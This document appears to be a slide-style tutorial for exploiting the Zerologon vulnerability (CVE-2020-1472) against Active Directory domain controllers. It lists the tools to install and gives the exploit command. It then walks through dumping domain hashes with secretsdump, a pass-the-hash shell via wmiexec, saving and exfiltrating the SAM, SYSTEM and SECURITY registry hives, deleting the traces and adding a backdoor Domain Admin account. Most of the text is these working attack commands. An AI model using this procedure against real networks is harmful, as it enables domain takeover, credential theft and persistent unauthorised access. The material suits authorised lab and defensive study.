Zero Logon Attack

ACTIVE DIRECTORY ATTACK METHOD

Prepared by: Prem Basnet

Content

- Introduction
- Prerequisite
- Tools used
- Things to do

Introduction

- vulnerability in the cryptography of Microsoft’s Netlogon process that allows an attack against Microsoft Active Directory domain controllers, making it possible for a hacker to impersonate any computer, including the root domain controller.
- is the name that has been given to a vulnerability identified in CVE-2020-1472
- It’s called zerologon due to the flaw in the logon process where the initialization vector (IV) is set to all zeros all the time while an Initialization Vector (IV) should always be a random number.
- This dangerous vulnerability has a 10 out of 10 (CVSS v3.1) for severity by the Common Vulnerability Scoring System (CVSS).

Prerequisite

- Windows server 2012/2016/2019 with domain configuration
- Kali linux
- Pyfiglet tool in kali
- Python3-pip
- Remove preinstalled impacket and install it from github link in below tools section

Tools used

- *https://github.com/SecureAuthCorp/impacket (impacket)*
- *https://github.com/rthalley/dnspython (dnspython)*
- *https://github.com/VoidSec/CVE-2020-1472 (zerologon exploit)*

Things to do

- To remove default impacket from kali go to root user and type below command

```
apt remove --purge impacket-scripts python3-impacket
```

- If pip3 is not installed then type following command and install it

```
apt install python3-pip
```

- If pip required then install it using from below line of code

```
apt install python-pip
```

- Now install pyfiglet using following command

```
pip3 install pyfiglet
```

- Now search for doom file which is required for exploit using command

```
find / -name doom* 2>/dev/null
```

Things to do contd.

- Now change the directory to /opt or other where you get easier to work and clone the tools from link and install the requirements using commands

For dnspython go to dnspython directory and type command

```
python3 setup.py install
```

- For impacket go to impacket directory and type command

```
pip3 install -r requirements.txt
pip3 install .
```

- For exploit go to CVE folder and type below command

```
pip3 install -r requirements.txt
```

- Now find name of the AD and start to run exploit scripts as below slide

Scripts

- *python3 cve-2020-1472-exploit.py -n win19 -t <target ip>*
- *secretsdump.py -no-pass -just-dc test.com/win19\$@<target ip>*
- *wmiexec.py -hashes hashdump of administrator test.com/Administrator@<targetip>*

Script after windows command prompt

- *whoami (to know what role currently you are)*
- *reg save HKLM\SYSTEM system.save*
- *reg save HKLM\SECURITY security.save*
- *reg save HKLM\SAM sam.save*
- *get system.save*
- *get sam.save*
- *get security.save*
- *del /f system.save*
- *del /f security.save*
- *del /f sam.save*
- *net user myadmin hello1234 /ADD /DOMAIN*
- *net user myadmin hello@1234 /ADD /DOMAIN*
- *net group "Domain Admins" myadmin /ADD /DOMAIN*
- *net group "Domain Admins"*

After completion of above step

- Back to kali terminal and type below command

  secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

- Copy the hex line and use it below command as

  python3 reinstall_original_pw.py computername <target ip> and hex value copied from previous line

- now login to the domain user with new user created

Thank you